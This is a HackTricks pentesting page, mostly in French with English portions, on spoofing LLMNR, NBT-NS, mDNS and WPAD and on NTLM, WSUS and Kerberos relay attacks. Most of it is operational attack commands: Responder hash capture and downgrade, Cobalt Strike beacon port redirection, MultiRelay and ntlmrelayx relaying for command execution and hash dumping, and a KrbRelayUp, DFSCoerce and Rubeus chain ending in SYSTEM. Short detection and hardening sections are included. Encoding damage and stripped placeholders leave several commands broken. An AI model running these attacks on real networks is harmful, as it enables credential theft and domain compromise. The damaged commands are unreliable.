Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Reading time: 15 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Protocoles réseau
Protocoles de résolution des noms locaux
- LLMNR, NBT-NS, and mDNS:
- Microsoft et d'autres systĂšmes d'exploitation utilisent LLMNR et NBT-NS pour la rĂ©solution de noms locaux lorsque DNS Ă©choue. De mĂȘme, les systĂšmes Apple et Linux utilisent mDNS.
- Ces protocoles sont susceptibles d'interception et de spoofing en raison de leur nature broadcast non authentifiée sur UDP.
- Responder peut ĂȘtre utilisĂ© pour usurper des services en envoyant des rĂ©ponses falsifiĂ©es aux hĂŽtes interrogeant ces protocoles.
- Des informations complémentaires sur l'usurpation de services avec Responder sont disponibles here.
Protocole de découverte automatique de proxy Web (WPAD)
- WPAD permet aux navigateurs de découvrir automatiquement les paramÚtres de proxy.
- La découverte se fait via DHCP, DNS, ou en secours via LLMNR et NBT-NS si DNS échoue.
- Responder peut automatiser les attaques WPAD, redirigeant les clients vers des serveurs WPAD malveillants.
Responder pour le Protocol Poisoning
- Responder est un outil utilisĂ© pour empoisonner les requĂȘtes LLMNR, NBT-NS et mDNS, rĂ©pondant sĂ©lectivement selon les types de requĂȘtes, ciblant principalement les services SMB.
- Il est préinstallé sur Kali Linux et configurable dans
/etc/responder/Responder.conf
. - Responder affiche les hashes capturés à l'écran et les enregistre dans le répertoire
/usr/share/responder/logs
. - Il prend en charge IPv4 et IPv6.
- Une version Windows de Responder est disponible here.
Exécution de Responder
- Pour lancer Responder avec les paramÚtres par défaut :
responder -I <Interface>
- Pour un probing plus agressif (avec effets secondaires potentiels) :
responder -I <Interface> -P -r -v
- Techniques pour capturer des challenges/ réponses NTLMv1 afin de faciliter le cracking :
responder -I <Interface> --lm --disable-ess
- L'usurpation WPAD peut ĂȘtre activĂ©e avec :
responder -I <Interface> --wpad
- Les requĂȘtes NetBIOS peuvent ĂȘtre rĂ©solues vers l'IP de l'attaquant, et un proxy d'authentification peut ĂȘtre mis en place :
responder.py -I <interface> -Pv
DHCP Poisoning avec Responder
- Spoofing des réponses DHCP peut empoisonner de façon permanente les informations de routage d'une victime, offrant une alternative plus discrÚte à l'ARP poisoning.
- Cela nécessite une connaissance précise de la configuration du réseau cible.
- Lancer l'attaque :
./Responder.py -I eth0 -Pdv
- Cette méthode peut capturer efficacement des hashes NTLMv1/2, mais elle nécessite une manipulation prudente pour éviter de perturber le réseau.
Capture des identifiants avec Responder
- Responder va usurper des services en utilisant les protocoles mentionnés ci-dessus, capturant des identifiants (généralement NTLMv2 Challenge/Response) lorsqu'un utilisateur tente de s'authentifier contre les services usurpés.
- Des tentatives peuvent ĂȘtre faites pour downgrader vers NetNTLMv1 ou dĂ©sactiver ESS afin de faciliter le cracking des identifiants.
Il est crucial de noter que l'emploi de ces techniques doit se faire légalement et de maniÚre éthique, en obtenant les autorisations appropriées et en évitant toute perturbation ou accÚs non autorisé.
Inveigh
Inveigh est un outil pour penetration testers and red teamers, conçu pour les systÚmes Windows. Il offre des fonctionnalités similaires à Responder, réalisant du spoofing et des attaques man-in-the-middle. L'outil a évolué d'un script PowerShell vers un binaire C#, avec Inveigh et InveighZero comme principales versions. Les paramÚtres détaillés et les instructions se trouvent dans le wiki.
Inveigh peut ĂȘtre opĂ©rĂ© via PowerShell:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
Ou exécuté en tant que C# binary:
Inveigh.exe
NTLM Relay Attack
Cette attaque exploite les sessions d'authentification SMB pour accéder à une machine cible, octroyant un shell systÚme si elle réussit. Les prérequis clés sont :
- L'utilisateur s'authentifiant doit avoir un accÚs Local Admin sur l'hÎte relayé.
- La signature SMB doit ĂȘtre dĂ©sactivĂ©e.
445 Port Forwarding and Tunneling
Dans les scĂ©narios oĂč une introduction directe sur le rĂ©seau n'est pas rĂ©alisable, le trafic sur le port 445 doit ĂȘtre redirigĂ© et tunnelisĂ©. Des outils comme PortBender aident Ă rediriger le trafic du port 445 vers un autre port, ce qui est essentiel lorsque l'accĂšs Local Admin est disponible pour le chargement d'un driver.
PortBender setup and operation in Cobalt Strike:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
Autres outils pour NTLM Relay Attack
- Metasploit: Configuré avec des proxies, les détails des hÎtes locaux et distants.
- smbrelayx: un script Python pour relayer des sessions SMB et exécuter des commandes ou déployer des backdoors.
- MultiRelay: un outil de la suite Responder pour relayer des utilisateurs spécifiques ou tous les utilisateurs, exécuter des commandes, ou dump hashes.
Chaque outil peut ĂȘtre configurĂ© pour fonctionner via un SOCKS proxy si nĂ©cessaire, permettant des attaques mĂȘme avec un accĂšs rĂ©seau indirect.
Fonctionnement de MultiRelay
MultiRelay est exécuté depuis le /usr/share/responder/tools répertoire, en ciblant des IPs ou des utilisateurs spécifiques.
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
Ces outils et techniques forment un ensemble complet pour réaliser des NTLM Relay attacks dans divers environnements réseau.
Abusing WSUS HTTP (8530) for NTLM Relay to LDAP/SMB/AD CS (ESC8)
Les clients WSUS s'authentifient auprĂšs de leur serveur de mise Ă jour en utilisant NTLM sur HTTP (8530) ou HTTPS (8531). Lorsque HTTP est activĂ©, les check-ins pĂ©riodiques des clients peuvent ĂȘtre forcĂ©s ou interceptĂ©s sur le segment local et relayĂ©s avec ntlmrelayx vers des endpoints LDAP/LDAPS/SMB ou AD CS HTTP (ESC8) sans casser de hashes. Cela se fond dans le trafic de mise Ă jour normal et donne frĂ©quemment des authentifications de comptes machine (HOST$).
What to look for
- GPO/registry configuration under HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate and ...\WindowsUpdate\AU:
- WUServer (e.g., http://wsus.domain.local:8530)
- WUStatusServer (reporting URL)
- UseWUServer (1 = WSUS; 0 = Microsoft Update)
- DetectionFrequencyEnabled and DetectionFrequency (hours)
- WSUS SOAP endpoints used by clients over HTTP:
- /ClientWebService/client.asmx (approvals)
- /ReportingWebService/reportingwebservice.asmx (status)
- Default ports: 8530/tcp HTTP, 8531/tcp HTTPS
Reconnaissance
- Unauthenticated
- Scan for listeners: nmap -sSVC -Pn --open -p 8530,8531 -iL
- Sniff HTTP WSUS traffic via L2 MITM and log active clients/endpoints with wsusniff.py (HTTP only unless you can make clients trust your TLS cert).
- Authenticated
- Parse SYSVOL GPOs for WSUS keys with MANSPIDER + regpol (wsuspider.sh wrapper summarises WUServer/WUStatusServer/UseWUServer).
- Query endpoints at scale from hosts (NetExec) or locally:
nxc smb
-u -p -M reg-query -o PATH="HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" KEY="WUServer" reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
End-to-end HTTP relay steps
-
Position for MITM (same L2) so a client resolves the WSUS server to you (ARP/DNS poisoning, Bettercap, mitm6, etc.). Example with arpspoof: arpspoof -i
-t <wsus_client_ip> <wsus_server_ip> -
Redirect port 8530 to your relay listener (optional, convenient): iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530 iptables -t nat -L PREROUTING --line-numbers
-
Start ntlmrelayx with the HTTP listener (requires Impacket support for HTTP listener; see PRs below): ntlmrelayx.py -t ldap://
-smb2support -socks --keep-relaying --http-port 8530
Other common targets:
- Relay to SMB (if signing off) for exec/dump: -t smb://
- Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://
- Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT:
ntlmrelayx.py --http-port 8530 -t http://
/certsrv/certfnsh.asp --adcs --no-http-server For deeper AD CS abuse paths and tooling, see the AD CS page:
-
Trigger a client check-in or wait for schedule. From a client: wuauclt.exe /detectnow or use the Windows Update UI (Check for updates).
-
Use the authenticated SOCKS sessions (if -socks) or direct relay results for post-exploitation (LDAP changes, SMB ops, or AD CS certificate issuance for later authentication).
HTTPS constraint (8531)
- Passive interception of WSUS over HTTPS is ineffective unless clients trust your certificate. Without a trusted cert or other TLS break, the NTLM handshake canât be harvested/relayed from WSUS HTTPS traffic.
Notes
- WSUS was announced deprecated but remains widely deployed; HTTP (8530) is still common in many environments.
- Useful helpers: wsusniff.py (observe HTTP WSUS check-ins), wsuspider.sh (enumerate WUServer/WUStatusServer from GPOs), NetExec reg-query at scale.
- Impacket restored HTTP listener support for ntlmrelayx in PR #2034 (originally added in PR #913).
Force NTLM Logins
In Windows you may be able to force some privileged accounts to authenticate to arbitrary machines. Read the following page to learn how:
Force NTLM Privileged Authentication
Kerberos Relay attack
A Kerberos relay attack steals an AP-REQ ticket from one service and re-uses it against a second service that shares the same computer-account key (because both SPNs sit on the same $
machine account). This works even though the SPNsâ service classes differ (e.g. CIFS/
â LDAP/
) because the key that decrypts the ticket is the machineâs NT hash, not the SPN string itself and the SPN string is not part of the signature.
Unlike NTLM relay, the hop is limited to the same host but, if you target a protocol that lets you write to LDAP, you can chain into Resource-Based Constrained Delegation (RBCD) or AD CS enrollment and pop NT AUTHORITY\SYSTEM in a single shot.
For detailed info about this attack check:
-
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
-
https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/
-
- Kerberos basics
Token | Purpose | Relay relevance |
---|---|---|
TGT / AS-REQ â REP | Prouve l'utilisateur au KDC | untouched |
Service ticket / TGS-REQ â REP | LiĂ© Ă un SPN ; chiffrĂ© avec la clĂ© du propriĂ©taire du SPN | interchangeable if SPNs share account |
AP-REQ | Le client envoie TGS au service | ce que nous volons & rejouons |
- Les tickets sont chiffrés avec la clé dérivée du mot de passe du compte qui possÚde le SPN.
- L'Authenticator Ă l'intĂ©rieur de l'AP-REQ contient un horodatage de 5 minutes ; un replay dans cette fenĂȘtre est valide jusqu'Ă ce que le cache du service dĂ©tecte un doublon.
- Windows vérifie rarement si la chaßne SPN dans le ticket correspond exactement au service que vous ciblez, donc un ticket pour
CIFS/HOST
se décryptera normalement correctement surLDAP/HOST
.
-
- What must be true to relay Kerberos
- Shared key: source and target SPNs belong to the same computer account (default on Windows servers).
- No channel protection: SMB/LDAP signing off and EPA off for HTTP/LDAPS.
- You can intercept or coerce authentication: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, etc..
- Ticket source not already used: you win the race before the real packet hits or block it entirely; otherwise the serverâs replay cache fires Event 4649.
- You need to somehow be able to perform a MitM in the communication maybe being part of the DNSAmins group to modify the DNS of the domain or being able to change the HOST file of the victim.
Kerberos Relay Steps
- 3.1 Recon the host
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
- 3.2 Démarrer le relay listener
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
KrbRelayUp
regroupe KrbRelay â LDAP â RBCD â Rubeus â SCM bypass dans un seul binaire.
- 3.3 Coerce Kerberos auth
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
DFSCoerce force le DC Ă nous envoyer un ticket Kerberos CIFS/DC01
.
- 3.4 Relay the AP-REQ
KrbRelay extrait le blob GSS de SMB, le reconditionne dans un bind LDAP, et le transfĂšre vers ldap://DC01
âl'authentification rĂ©ussit parce que la mĂȘme clĂ© le dĂ©chiffre.
- 3.5 Abuse LDAP â RBCD â SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
Vous possédez maintenant NT AUTHORITY\SYSTEM.
Autres chemins utiles Ă connaĂźtre
Vecteur | Technique | Pourquoi c'est important |
---|---|---|
AuthIP / IPSec | Un faux serveur envoie une GSS-ID payload avec n'importe quel SPN; le client construit une AP-REQ directement vers vous | Fonctionne mĂȘme entre sous-rĂ©seaux; credentials machine par dĂ©faut |
DCOM / MSRPC | Un OXID resolver malveillant force le client Ă s'authentifier auprĂšs d'un SPN et d'un port arbitraires | Escalade de privilĂšges purement locale; contourne le firewall |
AD CS Web Enroll | Relayer le ticket machine vers HTTP/CA et obtenir un cert, puis PKINIT pour fabriquer des TGTs | Contourne les protections de signature LDAP |
Shadow Credentials | Ăcrire msDS-KeyCredentialLink , puis PKINIT avec une paire de clĂ©s forgĂ©e | Pas besoin d'ajouter un compte ordinateur |
Dépannage
Erreur | Signification | Solution |
---|---|---|
KRB_AP_ERR_MODIFIED | ClĂ© du ticket â clĂ© de la cible | Mauvais hĂŽte/SPN |
KRB_AP_ERR_SKEW | Horloge > 5 min de décalage | Synchroniser l'heure ou utiliser w32tm |
LDAP bind fails | La signature est imposée | Utiliser le chemin AD CS ou désactiver la signature |
Event 4649 spam | Le service a vu un Authenticator dupliqué | bloquer ou concurrencer le paquet original |
Détection
- Augmentation soudaine d'Event 4769 pour
CIFS/
,HTTP/
,LDAP/
provenant de la mĂȘme source en quelques secondes. - Event 4649 sur le service indique un rejeu dĂ©tectĂ©.
- Connexion Kerberos depuis 127.0.0.1 (relai vers le SCM local) est hautement suspecte â corrĂ©ler via la rĂšgle Sigma dans les docs KrbRelayUp.
- Surveiller les modifications des attributs
msDS-AllowedToActOnBehalfOfOtherIdentity
oumsDS-KeyCredentialLink
.
Durcissement
- Appliquer la signature LDAP & SMB + EPA sur chaque serveur.
- SĂ©parer les SPN pour que HTTP ne soit pas sur le mĂȘme compte que CIFS/LDAP.
- Corriger les vecteurs de coercition (PetitPotam KB5005413, DFS, AuthIP).
- Définir
ms-DS-MachineAccountQuota = 0
pour empĂȘcher les jonctions d'ordinateurs non autorisĂ©s. - Alerter sur Event 4649 et les connexions Kerberos en loopback inattendues.
References
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://intrinium.com/smb-relay-attack-tutorial/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
- WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)
- GoSecure â Abusing WSUS to enable NTLM relaying attacks
- Impacket PR #2034 â Restore HTTP server in ntlmrelayx
- Impacket PR #913 â HTTP relay support
- WSUScripts â wsusniff.py
- WSUScripts â wsuspider.sh
- MS-WSUSOD â Windows Server Update Services: Server-to-Client Protocol
- Microsoft â WSUS deprecation announcement
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.